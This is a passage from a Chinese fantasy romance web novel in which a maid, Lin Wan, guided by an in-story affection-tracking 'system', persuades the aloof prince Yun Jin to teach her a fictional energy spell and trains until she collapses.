午时,她端着新煎好的药走进书房。这一次,除了药碗,她手里还多了一个小小的白瓷碟,上面放着几颗她精心挑选出来的、看起来相对饱满些的腌梅子。
云烬如常坐在书案后,手里拿着一卷书。
清晨的阳光透过窗棂,勾勒出他略显苍白的侧脸,听到动静,他抬眸瞥了一眼,眼神平静无波。
林晚压下心头那点微妙的情绪,将白玉药碗轻轻放在书案上:“殿下,药好了。”
云烬没有回应,只是端起药碗,动作流畅地一饮而尽。整个过程,他甚至没有看林晚一眼。
林晚对他这副冷冰冰的、对事情都淡淡的样子,早就已经免疫了。收回药碗,林晚又把那一碟腌梅子,放到了云烬跟前。
“殿下,”她声音放得轻缓,带着一些试探,“药苦……这个……或许能压一压?”
云烬的目光从书卷上移开,落在那碟其貌不扬、甚至有些皱巴巴的梅子上。他眼神里掠过一丝极淡的讶异,随即又归于平静,看不出喜怒。
他没有立刻回应,观察了一下腌梅子,又抬起眼看了一眼一脸期待的林晚。
随后,他修长的手指才缓缓伸向那碟梅子,用手指拨拉了两下,他动作极其缓慢,仿佛手指接触的是什么奇怪的东西。
最终,他找到了一颗面相看起来最好的,放入口中。
酸涩的滋味瞬间在云烬口中爆开,咀嚼的动作只进行了一下,就停下来了,云烬的身体也几不可察地僵了一下,喉结微微滚动,吞了一下口水。
林晚的心提到了嗓子眼,紧张地看着他的反应。看到他停下了动作,以为大事不妙。
然而,预想中的嫌弃或斥责并未出现。
片刻后,云烬紧蹙的眉头,在那股强烈的酸涩冲击下,反而……缓缓地、一点点地舒展开来。
他沉默着,没有看林晚,也没有说话,继续咀嚼了几下,咽了下去。
然后又拈起一颗,放入口中。
然后是第三颗……直到碟中那几颗腌梅子,都被他安静地吃完。
整个过程,他脸上没有任何多余的表情,只有偶尔微微挑起的眉毛,能看出他在吃着带酸味的东西,除此之外,仿佛只是在完成一项任务。
林晚看着他空了的碟子,心中却瞬间被巨大的惊喜填满,她强忍着才没让嘴角咧到耳根。
他吃了!他竟然全吃了!而且看样子……他喜欢酸的!
太好了!以后就知道该怎么“下菜碟”了!
她不动声色地收起空碟,笑嘻嘻地恭敬行礼:“殿下若无吩咐,我先告退了。”
林晚脚步轻快地退出书房,关上门的那一刻,脸上的笑容再也抑制不住地绽放开来。
云烬看着高兴地小跑出去的林晚,伸出舌头轻舔了下嘴唇,仔细回味了一下刚才的酸甜口感。随后,目光又重新落回到书卷上,仿佛刚才什么都没发生。
【检测到目标人物‘云烬’情绪产生波动。】
【好感度更新:+1%】
【当前好感度:26%】
看着系统提示,林晚的笑意更深了。
但是她心里更加清楚,必须得找个合适的时机,试探一下云烬的口风,想办法了解到关于“魔气”的更多事情,完成系统发布的任务,解锁那个貌似听起来很有用的“污染值”。
她突然想起来,之前好像系统还发布过一个“拜云烬为师”的任务,或许可以从这里进行突破!
第37章 他故意的
林晚早上醒来时,扭了扭脖子,脖颈间虽然还残留的淡淡红痕,但是已经感觉不到疼痛。
她下意识地调出系统面板:
【宿主:林晚】
【身份:二皇子别院·静心苑·正室洒扫(特许)】
【目标:云烬(二皇子)】
【当前好感度:26%】
【污染值:???(权限不足)】
【积分:5030】
【任务倒计时:160天 19小时 26分】
【阶段任务:谜团初解(进行中)】
【任务列表:拜云烬为师,学习修炼之道。】
林晚的目光,牢牢锁定了任务列表里那条【拜云烬为师,学习修炼之道】。
坐在药炉前,回忆着那天差点让她魂归西天的魔气爆发,林晚比任何时候都更清晰地认识到:在这个世界,尤其是在静心苑,没有自保之力,随时可能成为炮灰。
云烬那恐怖的力量,皇贵妃深不可测的安排,甚至还有皇宫里的未知……虽然与她本人无关,但是这一切像是一柄利剑,悬在了静心苑的每个人的头上。
“学个本事很有必要!”林晚攥紧了拳头,眼中闪烁着坚定的光芒,“强身健体是基础,关键时候能保命!而且……”
她瞥了一眼系统面板,“通过这个进行任务,说不定可以进一步拉近和云烬的距离,对‘污染值’的解锁也有帮助!”
目标明确,行动力爆棚,仿佛眼前炉子上飘出的药味都不再苦涩。
袅袅药香中,她的大脑飞速运转,构思着如何向那位阴晴不定、毒舌刻薄的主子开口。
端着药碗走进书房时,云烬已经坐在书案后了,面前摆着一副棋盘,自顾自下着棋。
他换了一身月白色的常服,和他的脸色倒是相互映衬着,带着几分虚弱,不过这貌似是他的常态了。
那双眸子依旧清冷深邃,注视着眼前的黑白子,若有所思。
“殿下,药好了。”林晚将药碗轻轻放下,声音放得比平时更轻柔。
云烬貌似今天心情不错,竟然轻轻“嗯”了一声,端起药碗,眉头微蹙,一饮而尽。苦涩的药汁让他本就没什么血色的唇抿得更紧。
林晚看出了他今天好像比较好说话,将空碗放下,心跳微微加速。
她深吸一口气,状似无意地开口:“殿下,您昨晚……休息得可好?”
她小心翼翼地观察着云烬的神色。
云烬抬眸,目光平静无波地扫过她,带着一丝狐疑:“尚可。”
语气冷淡,显然不想多谈。
林晚见云烬竟然这么快就接话了,有些意外:“那就好!殿下身体强健,壮硕无比,恢复能力肯定是非常快啦!”
听到“身体壮硕”四个字,云烬眉头不自觉地挑了一下,目光瞬间愣住,片刻后,缓缓移向林晚:
“哦?你怎知……”他薄唇轻启,淡淡地说道,“我身体壮硕?”
本来沉浸在花言巧语攻势中的林晚,被云烬这么一问,突然呆住,眼睛瞪得圆圆的,一时语塞。
他故意的!林晚看着云烬眼底流露的神色,那分明就是在看热闹,林晚只觉得此时的自己像是一个小丑,脸颊都微微发热了起来。
云烬瞧见林晚的神色,嘴角微微翘起一个弧度,冰冷的脸上竟然爬上了一丝淡淡的笑意。他右手端起青白茶杯,轻轻泯了一口。
“我……”林晚尴尬得语无伦次,这云烬真会挑话头,这绝对是故意的,但是林晚一时间不知道该怎么应对。
“三皇子说的嘛!殿下以前勤于修炼,那身体……素质肯定是极好的!”
云烬瞧她绞尽脑汁自圆其说,倒也没有继续针对,低下头继续研究棋局去了。
林晚见状,话锋一转,“可是这静心苑啊!地处偏僻,我和小翠两个弱女子,有时候夜里听到点风吹草动,都心惊胆战的……”
云烬双指夹起黑子的手,顿了一下,没接话。
林晚硬着头皮继续说:“奴婢想着,要是能学个一招半式的,强身健体不说,万一……万一真遇到什么宵小之徒,也能稍微抵挡一下,不至于拖累殿下……”
她努力让自己的理由听起来合情合理,又带着点楚楚可怜。
房间里陷入短暂的沉默,只有云烬落下棋子发出的清脆声响。
林晚的心提到了嗓子眼,紧张地等待着。
终于,云烬把视线从棋盘上移开,那双深邃的眼眸看向她:“拐弯抹角,你到底想说什么?”
被点破了心思,林晚脸上微热,索性豁出去了。
她挺直腰板,直视着云烬的眼睛,声音清晰而坚定:“殿下!我想拜您为师!学习修炼之道!”
话音落下,房间里一片死寂。
云烬的表情没有任何变化,但林晚清晰地感觉到,他周身的气场瞬间冷了下来,那双平静的眼眸深处,似乎掠过一丝极淡的……嘲弄?
“拜师?”他薄唇轻启,声音如同冰泉滑过,“你?”
简单的两个字,带着毫不掩饰的质疑和……荒谬感。
林晚被他的眼神看得有些无语,被小瞧了!
但是有求于人,她只能忍着:“是!奴婢知道殿下修为高深,不敢奢求殿下倾囊相授,只求能学点皮毛,强身健体,关键时刻能……能自保就行!”
她再次强调了“自保”两个字。
“呵。”云烬发出一声极轻的嗤笑,拿起棋盘旁边一本讲说棋局的书,显然不打算再理会她这“异想天开”的请求。
“静心苑很安全,用不着你学那些,做好你的洒扫便是。”
“可是殿下!”林晚急了,上前一步,“那天……那天那种情况,万一……万一再发生呢?”
说完林晚就后悔了,情急之下竟然把那晚的事情说了出来!完了完了,林晚只觉得大事不妙。
不过让她意外的是,云烬竟然毫无反应,只是默默地翻看着书,见状,她索性继续说下去:
“奴婢不想每次都只能等死!也不想每次都只能眼睁睁看着您……”她猛地顿住,意识到自己差点失言。
云烬翻书的动作停住,他缓缓抬起头,目光锐利如刀,直直刺向林晚:
“看着我什么?”
第38章 掌心的失控
林晚被他看得心头一凛,连忙低下头:“没……没什么。我只是……只是害怕。”
她声音低了下去,带着一丝颤抖,这倒不是装的,那晚濒死的恐惧感再次涌上心头。
她咬了咬下唇,决定使出“缠”字诀:“殿下,您就教教我吧!我保证勤学苦练,绝不偷懒!我可以给您做更多好吃的!”
“您不是喜欢酸的梅子吗?我可以研究更多酸口的点心菜肴!或者……或者我可以帮您打理庭院,种更多您喜欢的花草……”
她绞尽脑汁地想着自己能提供的“交换条件”,像个急于推销自己的小贩。
云烬看着她这副急切又带着点笨拙讨好的样子,不免觉得有些无奈又有些好笑,眉头微不可察地蹙了一下。
他沉默了片刻,目光落在林晚纤细的手腕,还有脖颈间尚未完全消退的红痕上。
那晚……那点微弱的白光……
他眼底深处闪过一丝极其复杂的情绪,快得让人无法捕捉。
“修炼之道,非儿戏。”
云烬的声音依旧冷淡,但似乎少了几分之前的绝对拒绝,“枯燥乏味,艰辛异常,非你所能想象。你确定要学?”
林晚一听有门,眼睛瞬间亮了,小鸡啄米般点头:“确定!我不怕苦不怕累!只要能学,让我做什么都行!”
云烬看着她眼中闪烁的热情,沉默了几秒。
最终,他放下书卷,站起身。
“过来。”
林晚心中一喜,连忙跟了上去。
云烬带着她走到书房相对空旷的一角,身形站定后,看着林晚,眼神淡漠:“既然你执意要学,我便教你一个最基础的攻击手段。”
“看好了。”
他缓缓抬起右手,五指自然张开,掌心向上。没有任何咒语,也没有复杂的结印,只见他掌心处,一点微弱的光芒开始凝聚。
那光芒起初如同萤火,微弱而飘忽。但转瞬之间,它便如同被投入滚油的火星,骤然爆发出刺目的亮白色!
“嗡——!”
一声低沉的嗡鸣响起。
光芒在云烬掌心剧烈地压缩、旋转,形成一个只有指甲盖大小、却蕴含着惊人能量的炽白光球。
光球内部仿佛有细小的电蛇在疯狂流窜,散发出令人心悸的高温与毁灭气息。
林晚瞪大了眼睛,屏住了呼吸。这就是……术法的力量?
“此术名为‘星爆’。”
云烬的声音平静无波,仿佛在介绍一件寻常物品,“将灵力极度压缩于一点,瞬间释放,威力尚可,对付寻常宵小,足矣。”
他话音未落,掌心那枚炽白的光球猛地向前一送。
“咻——!”
光球化作一道刺目的流光,以迅雷不及掩耳之势,射向墙角一个闲置的、半人高的青瓷花瓶。
没有惊天动地的巨响。
只有一声极其轻微的“噗”声,如同石子投入深潭。
紧接着,在林晚惊愕的目光中,那个厚实的青瓷花瓶,从被光球击中的位置开始,无声无息地……碎裂、湮灭!
不是被打碎,而是如同被高温瞬间气化,又像是被无形的力量从内部瓦解。
眨眼之间,偌大的花瓶便化作了一小撮细腻的、冒着青烟的白色粉末,飘散在空气中。
原地只留下一个浅浅的灼烧痕迹。
林晚倒吸一口凉气,嘴巴张得能塞进一个鸡蛋。
这……这还叫“威力尚可”?这要是打在人身上……
“看清楚了吗?”云烬收回手,双手怀抱胸前,看向目瞪口呆的林晚。
林晚艰难地咽了口唾沫,用力点头:“看……看清楚了!”
她眼中充满了震撼,但更多的是一种难以言喻的兴奋和渴望。
“你来试试。”云烬让开位置,示意林晚上前。
林晚深吸一口气,学着云烬的样子,抬起右手,掌心向上,努力集中精神,想象着将体内的力量,汇聚到掌心,虽然她也不知道那力量在哪。
她憋红了脸,额角渗出细汗,掌心却空空如也,连一丝微风都没有。
“灵力运转于丹田,引气上行,聚于劳宫。”
云烬冷淡的声音在一旁响起,指导着林晚,“心随意动,意随气走。不是叫你用蛮力憋气。”
林晚尴尬地脸更红了,连忙调整呼吸,努力感受着所谓的“丹田”。
渐渐地,似乎……似乎真的有一丝微弱的热流,从她小腹处升起,沿着手臂的脉络,艰难地、断断续续地流向掌心。
她心中一喜,更加努力地催动。
终于,在她掌心劳宫穴的位置,一点极其微弱、几乎难以察觉的白色光点,如同风中残烛般,颤巍巍地亮了起来!
“我成功了!”林晚惊喜地睁开眼,看向自己的掌心。
然而,就在她心神激荡、注意力分散的瞬间,那点微弱的光点猛地一阵剧烈闪烁,如同失控的烛火。
“不好!”云烬眼神一凛,反应极快,一把抓住林晚的手腕,猛地向旁边一甩。
“噗!”
一声闷响。
那点失控的光点并未射出,而是在林晚掌心直接爆开。
一股灼热的刺痛感瞬间传来。
“啊!”林晚痛呼一声,只觉得掌心像是被滚烫的针狠狠扎了一下,又麻又痛。
她低头一看,掌心中央出现了一个小小的、焦黑的灼伤点,正冒着丝丝白烟。
云烬松开她的手腕,看着她掌心那点焦痕,眉头紧锁,语气带着毫不掩饰的嫌弃:“灵力微薄,控制力更是惨不忍睹。连最基础的‘星爆’雏形都凝聚不稳,还敢妄言修炼?”
他甩了甩袖子:“愚不可及,滚去上药。”
林晚捂着自己受伤的掌心,看着云烬那副嫌弃的表情,刚才那点成功的喜悦瞬间被浇灭,取而代之的是浓浓的挫败感和一丝委屈。
她瘪了瘪嘴,眼眶有些发酸,低低应了一声:“……是,殿下。”
转身,垂头丧气地往外走。
看着她蔫头耷脑、仿佛受了天大委屈的背影消失在门口,云烬站在原地,目光却落在自己刚才抓住她手腕的手指上。
指尖,似乎还残留着一丝微弱的、奇异的暖意。
他缓缓抬起自己的手,看着指尖,眉头蹙得更深了。
刚才,在她灵力失控爆开的瞬间,他似乎又感应到了……那晚的那点微弱的白光……
虽然只是一闪而逝,极其微弱。
他望向林晚离开的方向,眼神复杂难辨。
第一卷 第39章 我就不信了
林晚捂着自己受伤的掌心,一路小跑回了自己的小屋,只觉得心里憋着一股气,又委屈又烦闷。
“什么人嘛!”她一边用凉水冲洗着掌心那个焦黑的灼伤点,一边忍不住小声抱怨,“态度那么差!教个基础术法都这么不耐烦,哪里像个师傅的样子!”
“不过……他好像根本没答应收我为徒啊……”林晚翻了个大白眼,一阵无语。
凉水刺激着伤口,带来一阵刺痛,但也让她稍微冷静了些。
她仔细看了看掌心,那点焦黑虽然看着吓人,但似乎只是表皮受损,并没有伤及皮肉深处,疼痛感也在慢慢减轻。
“还好还好,问题不大。”
她松了口气,翻出刘嬷嬷之前给的一些普通伤药,随意涂抹了一点。这点小伤,比起那晚差点被掐死的经历,简直不值一提。
挫败感虽然还在,但很快就被一股不服输的劲头压了下去。
“不行!不能就这么算了!”林晚看着包扎好的手,眼神重新变得坚定。
“他说我控制力差,那我就练给他看!练到他没话说为止!”
她深吸一口气,走出房门看了看日头,心里暗骂:这倒霉催的,还得给他煎药!
气鼓鼓地走进药房,林晚熟练地生火、添水、下药。很快,炉子烧起来,药汁咕嘟咕嘟地翻涌起热气,苦涩的药味弥漫开来。
林晚坐在炉子前的小板凳上,左手机械地摇着扇子控制火候,右手却不安分地在空中来回比划。
她眉头紧锁,嘴里念念有词:
“灵力运转于丹田……丹田在哪儿?脐下三寸?气海穴?”
“引气上行……怎么引?用意念?像抽丝剥茧那样?”
“聚于劳宫……劳宫穴倒是知道,手心嘛……”
她模仿着云烬的动作,五指张开,掌心向上,对着炉火的方向虚虚一抓,仿佛要把那跳跃的火苗抓进手心压缩成球。
“心随意动,意随气走……说得轻巧!这‘气’看不见摸不着的,怎么‘随’啊?”
“这个人……”林晚心里依旧对那个什么“星爆”充满了怀疑,“他到底有没有教对啊!该不会是故意教了个最难的吧?”
她对着空气挥了挥拳头,仿佛在打某个看不见的、讨人厌的家伙。
“嗡嗡嗡……”药罐盖子被蒸汽顶得轻轻跳动,发出声响。
林晚回过神来,赶紧揭开盖子看了看药汁的成色,又搅动了几下。
看着翻滚的药汤,她忽然灵光一闪:“压缩……凝聚……瞬间释放……这不就跟这沸腾的药汤一样吗……”
“水汽在下面聚集,受热上升,在表面形成气泡,然后‘噗’地破开……只不过他那个是可控的爆炸,我这个是自然逸散……”
她盯着那些不断生成又破灭的气泡,陷入了更深的思考:“关键就在于控制气泡的稳定性和爆开的时机?”
“怎么让它不破,或者让它按我的意思破?”
药煎好了,林晚飞快地把药滤出来,端去正屋。整个过程她几乎是一气呵成,送药、收碗、退出,一气呵成,完全没看云烬一眼,仿佛在赌气。
午后的阳光有些灼热,但她浑然不觉,脑海中反复回想着云烬教导的口诀。
“灵力运转于丹田,引气上行,聚于劳宫。心随意动,意随气走。”
她站定,闭上双眼,摒弃杂念,努力去感受那虚无缥缈的“丹田”。
这一次,她不再像之前那样急躁地用蛮力憋气,而是尝试着放空思绪,让意念随着呼吸缓缓下沉。
时间一点点流逝,额角再次渗出细密的汗珠。
起初,掌心依旧空空如也,只有微风拂过的感觉,林晚没有气馁,一遍遍地在心中默念口诀,调整呼吸。
然而,十分钟过去了,二十分钟过去了……小腹处一片沉寂,别说暖流了,连一丝异样的感觉都没有!
“怎么回事?”林晚有些急了,眉头紧锁。上午明明还能感受到那股微弱的热流,怎么现在一点动静都没有了?
她深吸一口气,更加努力地集中精神,甚至憋红了脸,试图用蛮力“挤”出一点灵力来。
结果,除了头晕眼花,掌心依旧空空荡荡。
一个让她更加憋屈的念头猛地冒了出来:“难道……上午那么顺利,真的是因为他在旁边?他是不是暗中做了什么手脚?”
“不然怎么他抓着我的手就能亮,我自己就不行?”
“哼,肯定是偷偷渡了点灵力给我!”
“可恶!”林晚低骂一声,挫败感让她几乎想放弃。
但转念一想,云烬那副嫌弃的嘴脸又浮现在眼前,“不行!不能让他看扁了!就算没有他帮忙,我也要试试!”
她咬着牙,再次闭上眼睛,摒弃掉那些杂念,不再去想云烬是否动了手脚,只专注于口诀本身。
这一次,她不再急躁,而是像在药炉边观察气泡那样,耐心地、细致地去感受身体内部最细微的变化。
不知过了多久,在她掌心劳宫穴的位置,那点熟悉的、微弱如风中残烛的白色光点,再次颤巍巍地亮了起来。
林晚心中一喜,但立刻告诫自己:“稳住!稳住!不能分心!”
她努力维持着意念的专注,小心翼翼地“呵护”着那点微弱的光。
光点在她的控制下,不再像第一次那样剧烈闪烁,而是如同呼吸般,微弱却持续地亮着。
“成功了!能稳定了!”林晚心中一阵激动,但她不敢有丝毫松懈,继续维持着。
然而,当她尝试着像云烬那样,将光点压缩、凝聚,并试图将它“发射”出去时,问题出现了。
那点白光刚刚离开她的掌心不过寸许,就如同断了线的风筝,光芒瞬间黯淡、逸散,最终彻底消失在空气中,连一丝涟漪都没能激起。
“唉……”林晚忍不住叹了口气,心中的喜悦被浇灭了大半。
凝聚是一回事,控制它离体攻击,又是另一回事了。
她咬了咬牙,没有放弃,再次闭上眼睛,重新开始凝聚。
失败,再凝聚;再失败,再尝试……汗水浸湿了她的鬓角,后背的衣衫也贴在了身上,她却浑然不觉。
从烈日当空到夕阳西斜,林晚的身影一直固执地伫立在前院。她一次又一次地重复着凝聚、尝试发射、失败的过程。
掌心那点白光,从最初的难以维持,到后来能稳定凝聚片刻。
从离开掌心寸许就消散,到后来能勉强飞出一尺多远才溃散。
每一点微小的进步,都耗费了她巨大的心神和体力。
灰心丧气的感觉时不时涌上来,她真想一屁股坐在地上再也不起来。
但每当这时,云烬那嫌弃的眼神、那句“愚不可及”就会在她脑海里响起,像鞭子一样抽打着她,让她重新燃起倔强的火焰。
“我就不信了!”她抹了一把额头的汗,眼神里充满了不服输的狠劲,“不就是个基础术法吗?我林晚还就跟你杠上了!不学会我就不死心!”
她调整呼吸,再次集中精神。
就在她又一次尝试将凝聚的光点向前推出时,一个清冷平淡的声音,身后不远处传来:
“酉时了,该煎药了。”
第一卷 第40章 胸口的白光
“酉时了,该煎药了。”
一个清冷平淡的声音,毫无预兆地从身后不远处传来。
林晚被这突如其来的声音惊得手一抖,掌心那点好不容易凝聚的白光“噗”地一下彻底消散。
她猛地回头,只见云烬不知何时,竟悄无声息地靠在了正屋的门框边。
他依旧穿着那身月白色的常服,身形显得有些单薄。他就那么随意地倚着门框,双手抱在胸前,目光平静无波地落在她身上,仿佛已经看了许久。
林晚的心跳瞬间漏了一拍,脸颊莫名有些发热。她刚才那副狼狈又倔强的样子,全被他看见了?
云烬的目光在她微微泛红、带着汗渍的脸上停顿了一瞬,又扫过了一眼她上午灼伤的手,最后落回她那双因为疲惫和倔强而显得格外明亮的眼睛上。
他什么也没评价,只是淡淡地重复了一遍:“去煎药。”
说完,他不再看她,转身便走进了屋内,门扉在他身后轻轻合上,隔绝了林晚的视线。
林晚站在原地,愣了好一会儿。他……他刚才是在提醒自己?还是……在监督她?
想到他可能一直在门后看着自己一次次失败,林晚心里又涌起一股说不清道不明的尴尬和憋闷。
“哼,看到了又怎样?我偏要练!”她对着紧闭的房门,无声地挥了挥拳头。
酉时的药香,比往日更添了几分苦涩。
林晚坐在药炉前,一下午近乎自虐般的练习,身体早已疲惫不堪,手臂酸麻胀痛,掌心那点焦痕也隐隐作痛。
然而,她的精神却异常亢奋。
脑海中反复回响着口诀,推演着灵力流转的路径,下午药炉边观察气泡的顿悟,此刻更加清晰。
“丹田聚气,如炉火初燃;引气上行,如蒸汽升腾;聚于劳宫,如气泡成形;心随意动,爆裂由心……”
她低声呢喃,将抽象的修炼与具象的药炉景象对应起来,仿佛抓住了某种关键。
药汁翻滚,气泡升腾破灭。
林晚的眼神越来越亮,她不再追求瞬间的成功,而是尝试去“感受”那股微弱热流的每一次律动,去“引导”而非“强迫”。
药很快煎好了,林晚动作麻利地滤药、端碗、送药、收碗,整个过程行云流水,比平时快了一倍不止。
夜幕已经降临,清冷的月光洒在静心苑的前院。
林晚再次站到了下午练习的位置,她深吸一口气,闭上双眼,排除杂念。
她没有丝毫急躁,意念沉入丹田,如同沉入幽静的湖底。
她耐心地、细致地感受着身体内部最细微的变化,很快,一丝微弱却比下午更加清晰、更加温顺的热流,从丹田处悄然升起。
她小心翼翼地引导着这股热流,想象着它如同涓涓细流,沿着手臂的脉络,缓慢而稳定地流向掌心劳宫穴。
时间一分一秒过去,汗水再次浸湿了她的鬓角,但她浑然不觉,所有的精神都集中在掌心那一点。
终于,一点微弱却稳定的白色光点,如同夜空中的第一颗星辰,颤巍巍地在她的掌心亮起。
林晚心中微动,她维持着专注,小心翼翼地“呵护”着这颗光点,她尝试着用意念去“压缩”它,让它变得更加凝实,光芒更加内敛。
光点在她的意念引导下,微微向内收缩,光芒似乎更盛了一分,体积却缩小了些许。
就是现在!
林晚眼神一凝,心随意动,她不再犹豫,意念如同离弦之箭,引导着那颗被压缩凝实的白色光点,朝着前方不远处一棵粗壮的树干,猛地“推”了出去!
“咻——!”
一声极其轻微的破空声响起。
那点白光脱离了林晚的掌心,化作一道微弱却清晰的白色流光,在夜色的衬托下非常明显。
它不再像之前那样,离开掌心寸许就消散无踪。
这一次,它坚定地向前飞行,虽然速度不快,光芒也越来越黯淡下去,但它确确实实地飞射而出!
“噗!”
一声轻响,白光准确地击中了前方那棵粗壮的树干!
没有惊天动地的巨响,没有树干碎裂湮灭的壮观景象,树干上甚至连一丝焦痕都没有留下。
但是,林晚的眼睛却瞬间亮得惊人。
她成功了!
她终于成功地、实实在在地将“星爆”发射了出去,虽然威力微乎其微,连树皮都没能蹭破,但这意味着她终于跨过了那道最难的门槛——灵力离体并保持形态直至命中目标。
“我……我成功了!”巨大的喜悦如同汹涌的潮水,瞬间淹没了林晚。
她看着树干上那被白光击中的地方,虽然没有任何痕迹,但在她眼中,却仿佛开出了最绚烂的花。
紧绷了一整天的神经骤然放松,身体里那股支撑着她不断练习的倔强之气也随之一泄,与此同时,一下午高强度的精神集中和灵力消耗带来的巨大疲惫感,如同山崩海啸般席卷而来。
她脸上的狂喜还未褪去,身体却猛地一软,眼前阵阵发黑,所有的力气仿佛都被抽空了,直挺挺地向后倒去。
就在她的身体即将重重摔在冰冷坚硬的青石板上时,一道月白色的身影毫无征兆地出现在她身后。
云烬的动作飞快,他伸出双臂,稳稳地、轻柔地接住了林晚软倒的身体。
林晚最后的意识里,只感觉到自己落入了一个带着清冽药香,却异常坚实的怀抱。
【检测到目标人物‘云烬’情绪产生波动。】
【好感度更新:+1%】
【当前好感度:27%】
云烬垂眸,看着怀中脸色苍白、呼吸微弱却嘴角犹带一丝笑意的林晚,她额前的碎发被汗水浸湿,贴在光洁的额头上,掌心那点焦黑的灼伤在月光下格外刺眼。
“让你去煎药,不是为了让你又回来继续,”他眉头微不可察地蹙了一下,无奈地说道,“灵力耗尽会死人的……”
但同时他又很震惊,这丫头……竟真的在无人指点的情况下,硬生生靠着一股蛮劲和悟性,摸到了“星爆”的门槛。
虽然那点威力连只蚊子都打不死,但这份执着和韧性……倒是出乎他的意料。
他视线无意识地扫过她脖颈间那道尚未完全消退的淡红指痕,一丝极淡的、连他自己都未曾察觉的复杂情绪掠过眼底。
就在这时,他目光猛地一凝。
林晚的胸口,那单薄的衣襟之下,非常快速地闪过一点极其微弱到近乎透明的白色柔光,快到他以为自己看错了。
但是当再仔细看去时,却没有丝毫异常。
云烬抱着林晚的手臂下意识地收紧了几分,他紧紧盯着她胸口光芒消失的地方,眼神充满了惊疑。
他抱着林晚,身形一闪,便消失在原地,下一刻,他的身影出现在林晚的屋内。
他小心翼翼地将她放在床榻上,站在床边,居高临下地看着昏迷中的少女。
他伸出手,指尖悬停在林晚胸口上方,似乎在犹豫着是否要探查那点白光的秘密。
最终,他收回了手,只是深深看了她一眼,转身,悄无声息地离开了房间。
屋内,只剩下林晚均匀而微弱的呼吸声。
而在云烬离开之后,她胸口衣襟之下,那点纯净的白色柔光,如同沉睡的精灵,再次微弱地闪烁了一下,仿佛在守护着主人的安眠。
第一卷 第41章 他好傲娇
林晚这一觉睡得昏沉,醒来时已近正午。
浑身酸软,头脑混沌,昨夜最后的记忆碎片般涌现——飞射的白光,击中树干的狂喜,随即是脱力的眩晕,然后就晕倒了……
不对!
好像还有个,带着清冽药香的人,出现在她的身后,然后……抱住了她!
她猛地坐起,脸颊微热。
第二次了!这已经是第二次被他抱回屋子了!
“完了……”她捂着脸低喃,心底却有一丝异样,“当时我应该是虚脱了,狼狈样子又被他看到了……”
不过,那又如何!他那样的人,会亲自冲过来接住她的身体,说明好感度肯定又上升了。
“不信?看系统!”她立刻调出面板。
【目标人物‘云烬’好感度:27%】
果然!涨了1%!
虽然只有1%,却像一剂强心针,驱散了身体的疲惫和心底的忐忑。
她深吸一口气,压下雀跃,恢复了平日的谨慎。不能得意忘形,在他面前,小心试探、仔细计划再谨慎推进,才是上策。
“林晚,你醒啦!”小翠见林晚出来,热情地打了招呼。
“辰时的药,是你送的吗?”林晚想起自己睡到现在,错过了辰时送药的时辰。
“是啊……”小翠答道,“昨晚你累极了,殿下送你回来的,特地嘱咐早上不要叫你。”
“知道啦,谢谢你小翠。”林晚心情很好,对着小翠嘻嘻一笑,就要去药房煎午时的药。
“哎哎哎,你等等!”小翠冲上前,拉住林晚的胳膊,把她拉到屋檐地下,神神秘秘的。
“殿下对你……”小翠四下观望了一下,确定没有人,压低声音凑到林晚的耳边,“也太不一样了吧!”
“哦?是吗?”林晚心里一愣,如果说旁人都能看出来的话,说明好感度在持续走高,100%近在咫尺了!
“是呀!”小翠一脸的吃瓜兴奋,“殿下在这整个别院里,不对,哪怕是在皇宫里,那都是冷面罗刹一样的存在。”
“可是,殿下已经两次送你回来休息了!两次哎!”
小翠着急地满头大汗,仿佛一定要从林晚的嘴里橇出什么有用的东西才肯罢休。
“哎呀!没有啦!”林晚摆了摆手,嘴上说着没有,但是心里已经乐开了花,“你要是晕倒在殿下面前,殿下也会送你回来的!”
说完,林晚就转身进了药房,留下小翠一人在原地干着急:“我……也会吗?”
但是转瞬一想,“怎么可能啊,我怕是死了殿下都不会看一眼……”
……
午时,她端着药碗走进书房,步伐平稳,神色如常:“殿下,药好了。”
声音温顺,目光悄然落在云烬身上,充满了一丝丝的期待。
云烬放下书卷,抬眸瞥了她一眼,那眼神依旧清冷无波。
他端起药碗,一饮而尽,放下,拿起书卷,整个过程行云流水,没有只言片语。
果然……指望他主动开口夸那么一两句,哪怕一两个字,简直就是痴心妄想。
她清了清嗓子,声音放得轻柔,试探道:“殿下,昨夜……弟子练习到后来,似乎……似乎终于能将那‘星爆’雏形发射出去了……”
她刻意用了“弟子”二字,观察了一下,见云烬没有反应,继续说道:
“虽然威力微末,但总算……成形了?”
云烬翻书的动作一顿,终于抬眼。
他的目光在她脸上扫过,半晌,薄唇微启,吐出两个字:“凑合。”
声音平淡,听不出情绪。
林晚心中微动,面上却露出恰到好处的惊喜,甚至带点受宠若惊:“能得殿下一句‘凑合’,弟子已是心满意足啦!”
她顿了顿,趁热打铁,问出了最关心的问题,“那……殿下,弟子如今,可算……入门了?”
云烬看着她那副故作乖巧实则暗含期待的模样,不知道在心里琢磨着什么,他没有立刻回答,只是将书卷彻底放下,身体微微前倾,那双深邃的眼眸锁定了她。
书房内的空气仿佛凝滞了一瞬。
他忽然站起身,缓步绕过书案,朝她走来。月白色的衣袂无声拂过地面,带着一股无形的压迫感。
林晚下意识地后退了半步,心跳微微加速,这人又要犯什么神经?
云烬在她面前站定,距离近得能闻到她身上清冽的药香。
他微微俯身,那张俊美却苍白的脸凑近,冰冷的视线仿佛能穿透人心,嘴角勾起一抹似笑非笑的弧度,声音低沉而带着一丝玩味:
“这般拼命练习,连灵力耗尽昏死过去都在所不惜……”
他刻意停顿,目光在她脖颈间尚未完全消退的淡红指痕上扫过,又回到她略显不安的眼睛,“是为了给我展示你那点微末的修炼天赋?”
“还是说……你如此勤奋,是为了表现什么?”
他的气息拂过耳畔,那眼神,三分嘲弄,七分探究,病态又危险。
她强迫自己镇定,微微垂下眼帘,避开他的视线:“我……只是想学点自保的本事。”
云烬盯着她看了几秒,似乎觉得无趣,直起身,那股迫人的压力稍减。
他踱回书案后,重新坐下,语气恢复了惯有的冷淡和刻薄:
“自保?就凭你那点连蚊子都打不死的灵力?”
“丹田气海都未开辟,引气如抽丝,控制力更是惨不忍睹,连最基础的星爆雏形都能把自己炸伤……”
他毫不留情地数落着,眼神里带着惯有的嫌弃,“根骨平平,悟性尚可,毅力……倒是倔强得很。”
林晚听着他一条条数落自己的“缺点”,非但没有生气,心底反而升起一丝欢喜。
他愿意评价,是不是变相地承认自己这个徒弟了?那任务……
【恭喜完成紧急任务:拜云烬为师,学习修炼之道】
【奖励积分:500】
